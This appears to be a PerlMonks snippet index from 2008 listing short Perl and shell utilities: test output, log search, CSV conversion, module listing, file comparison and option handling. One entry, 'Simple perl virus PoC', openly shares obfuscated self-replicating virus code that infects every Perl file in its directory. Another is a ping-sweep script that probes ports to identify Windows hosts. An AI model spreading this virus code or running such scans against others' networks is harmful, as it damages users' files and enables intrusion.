Duplicate Test:: output
on Jun 04, 2008 at 16:49
|
2 replies
|
by tye
|
I have some tests that include a lot of 'diagnostic' output so, by default, STDERR gets redirected to a file so I can easily go look at the details if there is a failure.
The "ok" vs "not ok" messages all need to go to STDOUT which either goes to my interactive session or to a test harness. But they would be extremely useful on STDERR to provide milestones in the detailed output. So I went looking for how to get them written to both STDOUT and STDERR.
I often find it at least mildly entertaining the rather convoluted OO-koolaidesque framework that most of the Test:: modules are now part of. I suspect that there is some way that I can define a subclass and convince Test::More to use it such that I can have "ok" message go to two different file handles. However, that wasn't obvious while the following hack was obvious to me.
Given that the functionality I wanted to replace was named "_print" (note the leading underscore), I also figured that overriding it in a subclass isn't officially sanctioned anyway. (Seems like something not unreasonable to want to override, tho.)
Replies noting the "proper" way to do something like this welcome. :)
if( (stat \*STDOUT)[1] != (stat \*STDERR)[1] ) {
# Send "ok" messages to both STDOUT and STDERR if they are differe
+nt
my $print= \&Test::Builder::_print;
*Test::Builder::_print= sub {
my( $self )= shift @_;
$self->output( \*STDOUT );
$self->$print( @_ );
$self->output( \*STDERR );
$self->$print( @_ );
$self->output( \*STDOUT );
};
}
|
Using Search::Dict on log files
on May 22, 2008 at 06:14
|
1 reply
|
by stigpje
|
First perlmonks post.
If you have very large log files or slow disk, or both...
As long as the log file is ordered by datetime, you can use
Search::Dict's binary search to find entries for datetimes.
(this code has not been extensively tested)
#! perl -W
use strict;
use warnings;
# Yes, I know it's big and slow, room for improvment here
use Date::Manip;
use Search::Dict;
# The log file must be ordered by date for this to work.
# Use it like this:
# search_log /var/log/httpd/access_log "2008052205:32:43"
# or
# search_log /var/log/httpd/access_log "2008052205:32:4"
# search_log /var/log/httpd/access_log "2008052205:32:"
# search_log /var/log/httpd/access_log "2008052205:32"
# search_log /var/log/httpd/access_log "2008052205:3"
my $file = shift or die 'no file';
my $search_date = shift or die 'no search date in YYYYMMDDHH::MM::SS f
+ormat';
open my $fh,'<',$file or die $!;
sub get_date{
my($line) = @_;
my($d) = $line=~/\[(.*)\]/mxo or die "Can't find [date] in line: $
+line";
return ParseDate($d) or die "Can't parse date: $d";
}
my $pos = look $fh,$search_date,{
xfrm=>*get_date,
};
if(-1 == $pos){
die "Error looking for '$search_date' in file '$file': $!\n";
}
while(my $line=<$fh>){
if(get_date($line) =~m/$search_date/mxo){
print $line;
} else {
last;
}
}
|
Adding a new user to all groups where another user is
on May 12, 2008 at 05:48
|
1 reply
|
by bronto
|
You just added a user to your UNIX system. You want him to belong to all groups where you belong. E.g.: let's say your user name is bronto and the new user is robin. Here we go.
perl -F: -i.save -ape 'if ($F[3] =~ m{bronto} and not m{robin}) { chom
+p ; $_ .= qq{,robin\n} }' /etc/group
|
List all modules and versions used by a program
on Apr 21, 2008 at 09:10
|
3 replies
|
by tachyon-II
|
Sometimes things break because code that worked with certain versions of modules does not work with others. This short block just dumps all the modules in use, with their version numbers when a script exits. By doing it in an END block you get a realistic picture of what got loaded and it will still print if your code dies for whatever reason.
END{
no strict; # access $VERSION by symbolic reference
print map {
s!/!::!g;
s!.pm$!!;
sprintf "%-20s %s\n", $_, ${"${_}::VERSION"}
} sort keys %INC;
};
|
IP Iterator
on Apr 17, 2008 at 10:06
|
6 replies
|
by camlet
|
#!/usr/bin/perl -w
use strict;
use Net::Ping;
use IO::Socket;
sub ip_fr_dotted { unpack 'N', pack 'C4', split /\./, $_[0] }
sub ip_to_dotted { join '.', unpack 'C4', pack 'N', $_[0] }
my $start = ip_fr_dotted($ARGV[0]);
my $end = ip_fr_dotted($ARGV[1]);
for (my $ip=$start; $ip<=$end; $ip++) {
print("\n ", ip_to_dotted($ip));
&ping_ip($ip);
}
sub ping_ip{
my $p = Net::Ping->new("icmp",2);
if( $p->ping($_[0]) ){
print " available ";
&id_device($_[0]);
}
$p->close();
}
sub id_device {
my $host = shift || ip_to_dotted($_[0]);
#windows
if( &port_check('tcp',$host,'139') == 0 && &port_check('udp',$host,'13
+8') == 0 && &port_check('udp',$host,'137') == 0 ){
print "windows";
}
}
sub port_check{
my $handle = IO::Socket::INET->new (Proto=>$_[0], PeerAddr=>$_
+[1], PeerPort=>$_[2] );
if($handle){
return 0;
}else{
return 1;
}
}
|
Converting CSV to tab-delimited
on Apr 14, 2008 at 09:48
|
3 replies
|
by PhilHibbs
|
A colleague is having problems loading CSV (comma-separated variable length) data into Microsoft SSIS, so I told him I'd write a script to help him. I saw Text::CSV, but I don't want to have to go through module installation with him as he's a bit scared of Perl already. So I wrote this little script - and I didn't want to have to teach him about < and > on the command line, so the script automatically generates a file name based on the input with ".tab" on the end.
The rules are the standard Excel-style CSV rules, any embedded '"' characters get doubled up, and any value that contains a ',' character must have '"' characters delimiting the value, but other values don't need to have delimiters.
The code is a simple state machine processing one character at a time and storing two state variables based on whether an opening " has been detected and when a " has been encountered within a quoted value.
Shortcomings:
Doesn't handle newlines in quoted values
use strict;
use warnings;
# Note: doesn't handle newlines in quoted values
my $out = $ARGV[0].".tab";
open OUT,">$out" or die "Can't open output $out\n";
while (<>) {
my $tab = "";
my $qv=0; # Quoted value indicator
my $dq=0; # Double quote flag indicates the previous character was
+a "
for (split //) {
# Start of a quoted value
if (not $qv and $_ eq '"') { $qv=1; next; }
# Double quotes within or at the end of a quoted value
if ($qv and $_ eq '"') { $dq=1; next; }
# If last char was a double quotes OR we're not within a quoted
+value, comma = tab
if (($dq or not $qv) and $_ eq ',' ) { $dq=0; $qv=0; $_="\t"; }
+# End of field
# Two consecutive double-quote characters within a quoted value
elsif ($dq and $_ eq '"') { $dq=0; } # Double double quotes
$tab .= $_;
}
print OUT $tab;
}
|
Playing with code found on Perlmonks
on Apr 13, 2008 at 12:10
|
2 replies
|
by oko1
|
When I answer questions here, I often want to see exactly what kind of errors the posted code is going to throw - so I copy it, open a file in 'vi', paste it in, and (following a careful look at it to make sure that it's not going to do anything nasty to me) run it. The additional bits - e.g., adding on a Perl shebang and running 'chmod +x' on the file - are already shortcuts in my 'vi', but I thought that it would be nice to automate this part, at least. I've got "pmedit" linked to an icon on my Gnome toolbar, so all I have to do now is select the code and click the icon. The displayed file will already contain the code that I highlighted.
The following is a Bourne shell script, and requires 'Xdialog'. Please feel free to modify for other OSes and situations. Constructive comments are highly welcomed. :)
#!/bin/sh
# Created by Ben Okopnik on Sun Apr 13 11:22:45 EDT 2008
cd /tmp
label="New filename:"
while :
do
fname=`Xdialog --stdout --inputbox "$label" 7 40`
# Weird: '-f' doesn't handle '~', so we'll do it by hand
fname=`echo $fname|sed 's/~/\/home\/ben/g'`
if [ -f "$fname" ]
then
label="\"$fname\" already exists. New name:"
else
[ "$fname" = "" ] && exit
xclip -o > "$fname"
xterm -e vi "$fname"
break
fi
done
|
Simple perl virus PoC
on Apr 08, 2008 at 20:12
|
3 replies
|
by cyb3rdemon
|
A very simple perl virus that I wanted to share. Copies itself to the end of every perl file in its directory that is not already infected; does nothing else. The code is obfuscated to make it harder to recognize (althought, it's not very hard for anyone who knows perl well).
#auiqi
@a=#;
qw{do file reach open print self close while ; auiqi};$a=#;
$a.'s/'.$_.'/'.$a[$_].'/g;'for($a+1..9);$_=#;
q{@a = <*>8 1s:fo2(@a){if(m^.pl^){$a=$_83(1,$a)8 7(<1>){next 1s if m`9
+`8} 6 18 3(1,'>>'.$a )8 3(5,$0)8 7(<5>){last if /9/;} 4 1 "#9\n"; 4
+1 7<5>8 }}};
eval $a;eval;
EDIT: Fixed the bugs that kyle pointed out.
|
[Win] Compare files between two directories (and subdir)
on Apr 08, 2008 at 10:36
|
3 replies
|
by jeepj
|
I have written this script because I am maintaining a little set of Perl libraries and tools at work, and I'm modifying the installed files on my PC. To avoid erasing it with old versions from CVS, I have the CVS repository elsewhere, and this little script is giving me which file is different from the repository in my current installation
I know the code is not error proof, but it does the work, and it's all I need
use strict;
use File::Path;
use File::Find;
my $repodir='D:\Documents\Works\Perl\Perl tools\repository\amaPerl';
my $instdir='D:\AmaPerl';
my %options;
$options{'wanted'}=\&compare_files;
$options{'no_chdir'}=1;
find(\%options, ($repodir));
exit(0);
sub compare_files
{
return if($_ eq '.' || $_ eq '..' || $File::Find::dir =~ /CVS/);
if(-f $File::Find::name) {
my $file=substr($File::Find::name,length($repodir)+1);
my $other_file=$instdir."\\".$file;
if(! -f $other_file) {
print "$file not found installed...\n";
} else {
system("diff -q \"$File::Find::name\" \"$other_file\" > NU
+L");
if($?) {
print "$file is different\n";
}
}
}
}
|
Getopt::Long-based commandline argument replacement substitution expansion
on Apr 05, 2008 at 22:25
|
0 replies
|
by jdporter
|
Modifies @ARGV by replacing a certain option (with or without argument) with something else.
Uses Getopt::Long.
In my application, which takes a list of filespecs on the commandline, I replace -tar foo.tar with /tmp/tar/* after having extracted foo.tar into /tmp/tar/:
option_replacement( "tar=s", sub { system "tar xf $_[1] -C $tmpdir"; "
+$tmpdir/*" } );
The first arg is the sort of thing you pass as an option spec
to Getopt::Long's GetOption().
The second arg is a sub ref, the interface of which is exactly
the same as a sub you'd pass as an option handler to
GetOption(), except that it returns the list of
strings to insert into @ARGV.
use Getopt::Long;
sub option_replacement
{
my( $spec, $func ) = @_;
local $Getopt::Long::passthrough=1;
my @newARGV;
GetOptions(
$spec => sub { push @newARGV, &$func },
'<>' => sub { push @newARGV, @_ },
);
@ARGV = @newARGV;
}
|
|